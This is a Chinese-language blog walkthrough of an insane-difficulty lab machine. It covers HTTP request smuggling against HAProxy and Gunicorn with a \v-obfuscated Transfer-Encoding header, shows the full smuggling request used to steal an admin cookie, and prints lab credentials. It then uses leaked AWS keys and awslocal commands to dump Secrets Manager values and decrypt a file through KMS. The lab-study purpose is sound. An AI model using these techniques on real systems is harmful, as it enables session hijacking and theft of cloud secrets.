本文最后更新于:2022年6月6日 下午
insane难度初体验 & HTTP Smuggle攻击实操 & 云渗透学习
0x01 信息收集
1
| nmap -sC -sV -v 10.10.10.22
|
发现端口22、3000、5000开启
访问3000端口,可以看到为某代码托管平台:
目前没有用户名和密码,但是explore可以发现存在的三个账户信息:
目光转向5000端口,注册并进行登录:
对该网站进行探索,发现的交互点如下:
- 首页最底下的评论功能:
- 首页的搜索功能:
- 笔记功能
另外还能发现admin账户的信息:
对这些存在交互的地方测试XSS,SQLi,SSTI,未果。
转变思路,先抓个包看看,可以发现存在的服务器信息,可以发现后端是gunicorn
,然后代理使用了haproxy
:
0x02 突破口
Google一下,可以看到HAProxy存在HTTP走私漏洞:
对那篇文章进行总结,于此题而言,攻击原理和要点如下:
正常情况下,对TE(Transfer-Encoding)头的优先级高于CL(Content-Length)头
在特殊字符\v
的干扰下,haproxy没能识别出TE头,故遵照CL头的指示将构造的数据包中的所有内容发给了后端即Gunicorn。
Gunicorn不受\v
的影响,因而将按TE头的指示以chunked的方式处理HTTP数据包。这种不一致造成了HTTP Smuggling攻击。
在实操过程中,默认的Connection
头部值为close
,我们需要将其改成keep-alive
。这样会有更大概率接到admin用户提交的请求。
实操开始,首先建议在burp中开启对不可打印字符的显示:
然后我们在TE头处插入\v
,方法是先用base64编码,然后在Burp中解码:
插入\v
之后继续构造请求,步骤如下:
- 按chunked方式构造请求,注意结束块处是
0\r\n\r\n
- 将一个正常的数据包贴在下面,msg留空来接收数据
- 更改第一个数据包的
Connection
头部值为keep-alive
- 更改第二个数据包的CL头为一个较大的值,不然可能拿不到Cookie
构造完成的数据包如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| POST /comment HTTP/1.1 Host: 10.10.10.225:5000 Content-Length: 793 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://10.10.10.225:5000 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://10.10.10.225:5000/home Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: lang=zh-CN; i_like_gitea=4218005f51d57007; _csrf=yEJpf7F8mA2tBXrSAu9dix741N86MTYzMjg4MzMxMjczNzA0NTY5MQ; session=eyJlbWFpbCI6InRlc3RAdGVzdC5jb20ifQ.YVPnOg.hkrTsumKBoyp1jpSwxnWouyrNug Connection: keep-alive Transfer-Encoding: chunked
8 msg=test 0
POST /comment HTTP/1.1 Host: 10.10.10.225:5000 Content-Length: 300 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://10.10.10.225:5000 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://10.10.10.225:5000/home Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: lang=zh-CN; i_like_gitea=4218005f51d57007; _csrf=yEJpf7F8mA2tBXrSAu9dix741N86MTYzMjg4MzMxMjczNzA0NTY5MQ; session=eyJlbWFpbCI6InRlc3RAdGVzdC5jb20ifQ.YVPnOg.hkrTsumKBoyp1jpSwxnWouyrNug
msg=
|
发送数据包,拿到Cookie,替换后以admin账户身份登录站点:
在admin的note处可以发现三条凭证信息:
分别如下:
1 2 3
| Chef Login : http://chef.sink.htb Username : chefadm Password : /6'fEGC&zEx{4]zz Dev Node URL : http://code.sink.htb Username : root Password : FaH@3L>Z3})zzfQ3 Nagios URL : https://nagios.sink.htb Username : nagios_adm Password : g8<H6GK\{*L.fB3C
|
第二条记录可以让我们登录进3000端口的gitea。
在Explore中,可以看到该代码托管平台中存在的4个repo:
其中,在Key_Management项目下的ec2.php中查看提交的历史记录,可以发现开发人员由于失误上传的私钥文件:
以及aws的access_id
和access_secret
:
保存私钥,chmod 600
后登录之,成功,拿到user.txt:
0x03 David’s shell
查看一下网络连接状态:
1 2 3
| netstat -tulnp
netstat -tulnp | grep 127
|
可以看到有个4566端口,结合之前我们发现的代码,不难推测上面跑着一个aws服务。
但这个地址有些奇怪,搜一下4566端口,可以发现有个localstack,查找资料后得知这就是一个模拟aws云服务的应用,用于云应用的开发和测试。
然后看下命令,可以发现有aws
和awslocal
。
aws
和awslocal
的区别是aws
需要指定endpoint,awslocal
不用。awslocal
会直接和localstack进行对话。
对aws渗透中常见的lambda
、cloudwatch
、s3api
函数进行测试,发现似乎都没开启相应的服务:
1 2 3
| awslocal lambda list-functions awslocal cloudwatch list-dashboards awslocal s3api list-buckets
|
由于如上项目与logs有关,使用命令logs
模块下的命令对logs进行探索。
如果不清楚命令的话,aws的读命令大多与get、list、describe有关,搜索如下关键字即可快速帮助我们确定命令
1
| awslocal logs help| grep -E 'list|get|describe'
|
使用命令
1
| awslocal logs describe-log-groups
|
可以找到一个log-group
进一步通过该log-group
,可以找到一个log-stream
1
| awslocal logs describe-log-streams --log-group-name cloudtrail
|
再进一步查看,得到一些有意思的事件名称:
1
| awslocal logs get-log-events --log-group-name cloudtrail --log-stream-name 20201222
|
Google一下,可以发现和aws的Secrets Manager
有关:
同时aws的cli也有该命令
同样地,先看看有用的命令:
1
| awslocal secretsmanager help| grep -E 'list|get|describe'
|
然后使用之前泄露的access_id
和access_secret
进行配置:
配置之后尝试列出所有的secrets:
1
| awslocal secretsmanager list-secrets
|
之后分别拿到secrets的value值:
1 2 3
| awslocal secretsmanager get-secret-value --secret-id 'Jenkins Login' awslocal secretsmanager get-secret-value --secret-id 'Sink Panel' awslocal secretsmanager get-secret-value --secret-id 'Jira Support'
|
对具有登录权限的用户进行查看,发现有root、marcus、david。刚好上面拿到的账号中也有一个david。
使用密码登录,拿到david的shell:
0x04 提权至root
在david家目录的某个文件夹底下能够发现一个servers.enc
文件:
那就想着法子解密咯。回到之前的gitea,在Key_Management目录下能够发现有一个keys.php,可以看出它在与aws的kms服务进行交互:
Google一下,可以发现是aws的密钥管理服务,里面可能有我们想要的东西:
回到服务器,查看可用的命令:
1
| awslocal kms help| grep -E 'get|describe|list'
|
首先看下存在的密钥:
先查看某一密钥的详细信息:
1
| awslocal kms describe-key --key-id 0b539917-5eff-45b2-9fa1-e13f0d2c42ac
|
可以观察到有一Keystate
字样,我们需要查找Keystate
为Enabled
的密钥。
写个简单的shell语句进行查找:
1
| for i in $(awslocal kms list-keys | grep KeyId | awk -F\" '{print $4;}'); do awslocal kms describe-key --key-id $i | grep -E 'KeyId|Enabled' ; echo; done;
|
对State
为Enabled
状态的key进行查看:
1 2
| awslocal kms describe-key --key-id 804125db-bdf1-465a-a058-07fc87c0fad0 awslocal kms describe-key --key-id c5217c17-5675-42f7-a6ec-b5aa9b9dbbde
|
我们使用第一个命令对得到的文件进行解密。首先使用help
命令查看decrypt
方法的使用
对着example构造我们的语句即可:
1
| awslocal kms decrypt --ciphertext-blob fileb://servers.enc --key-id 804125db-bdf1-465a-a058-07fc87c0fad0 --encryption-algorithm RSAES_OAEP_SHA_256
|
将得到的base64
语句解码放进文件里,并使用file
命令查看文件类型:
1 2
| echo <base64code> | base64 -d > result file result
|
解压后继续查看文件类型:
1 2 3 4
| mv result result.gz gzip -d result.gz ll file result
|
继续解压即可拿到密码:
1 2 3
| mv result result.tar tar -xvf result cat servers.yml
|
拿到此密码即可登录root用户:
0x05 Summary
这是一个Insane难度的Linux靶机,主要考察内容如下:
- HTTP Smuggle攻击
- git利用
- aws云渗透